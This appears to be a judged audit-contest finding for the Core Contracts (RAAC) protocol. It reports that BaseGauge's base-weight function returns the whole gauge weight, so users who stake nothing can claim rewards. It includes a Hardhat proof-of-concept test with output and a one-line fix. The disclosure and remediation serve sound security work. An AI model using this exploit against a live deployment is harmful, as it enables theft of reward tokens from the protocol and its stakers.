Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Base Weight Calculation in BaseGauge::getUserWeight() Function Leading to Miscalculated Rewards

Summary

The BaseGauge::getUserWeight function incorrectly calculates the user’s base weight by returning the total gauge weight from the GaugeController instead of the user’s actual contribution. As a result, the user’s weight, which is used for reward distribution or voting power, is miscalculated. This means that any user can 'earn' reward tokens without staking or holding any veRAAC tokens

Vulnerability Details

Vulnerability location:

contract BaseGauge {
//...
function _getBaseWeight(address account) internal view virtual returns (uint256) {
@> return IGaugeController(controller).getGaugeWeight(address(this));
}
//...
}

Impact

This is a high-impact issue because any user can simply call the BaseGauge::getReward and 'get' free reward tokens. Here is a PoC that proves it.

it("should prove issue in the BaseGauge::getUserWeight function", async () => {
const DAY = 24 * 3600
const raacGaugeAddress = await raacGauge.getAddress()
const STAKE_AMOUNT = ethers.parseEther("500")
await veRAACToken.connect(user1).approve(raacGaugeAddress, STAKE_AMOUNT)
await raacGauge.connect(user1).stake(STAKE_AMOUNT)
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"))
await time.increase(1 * DAY)
const user1StakeAmount = await raacGauge.balanceOf(user1.address)
const user1RaacTokens = await veRAACToken.balanceOf(user1.address)
const user1RewardTokenBalanceBefore = await rewardToken.balanceOf(
user1.address
)
const user2StakeAmount = await raacGauge.balanceOf(nonRaacholder.address)
const user2RaacTokens = await veRAACToken.balanceOf(nonRaacholder.address)
const user2RewardTokenBalanceBefore = await rewardToken.balanceOf(
nonRaacholder.address
)
await raacGauge.connect(user1).getReward()
await raacGauge.connect(nonRaacholder).getReward()
const user1RewardTokenBalanceAfter = await rewardToken.balanceOf(
user1.address
)
const user2RewardTokenBalanceAfter = await rewardToken.balanceOf(
nonRaacholder.address
)
console.log("\n################ User1 ############")
console.log("user1 stake amount: " + ethers.formatEther(user1StakeAmount))
console.log(
"user1 raac token balance: ",
ethers.formatEther(user1RaacTokens)
)
console.log(
"user1 earned reward: " +
BigInt(user1RewardTokenBalanceAfter - user1RewardTokenBalanceBefore)
)
console.log("######################################\n")
console.log(
"################ User2 <not a RAAC tokens holder> ############"
)
console.log("user2 stake amount: " + ethers.formatEther(user2StakeAmount))
console.log(
"user2 raac token balance: ",
ethers.formatEther(user2RaacTokens)
)
console.log(
"user2 earned reward: " +
BigInt(user2RewardTokenBalanceAfter - user2RewardTokenBalanceBefore)
)
console.log("######################################\n")
})

In the PoC above, we've two actors

  • user1: a user who has staked tokens and is holding veRaacTokens

  • nonRaacholder: a user who hasn't staked any tokens and is not holding any veRaacTokens

Yet both users earns reward tokens when the gauge receives reward tokens.

################ User1 ############
user1 stake amount: 500.0
user1 raac token balance: 500.0
user1 earned reward: 4285478
######################################
################ User2 <not a RAAC tokens holder> ############
user2 stake amount: 0.0
user2 raac token balance: 0.0
user2 earned reward: 2857175
######################################

Tools Used

  • Manual review

Recommendations

The user's base weight in the gauge should be reflected by the number of tokens the user has staked and probably some other parameters. Here is one recommendation that fixes the problem, but the final solution can be protocol-specific and protocol owners can decide if they want to add some custom logic here

function _getBaseWeight(address account) internal view virtual returns (uint256) {
- return IGaugeController(controller).getGaugeWeight(address(this));
+ return _balances[account];
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.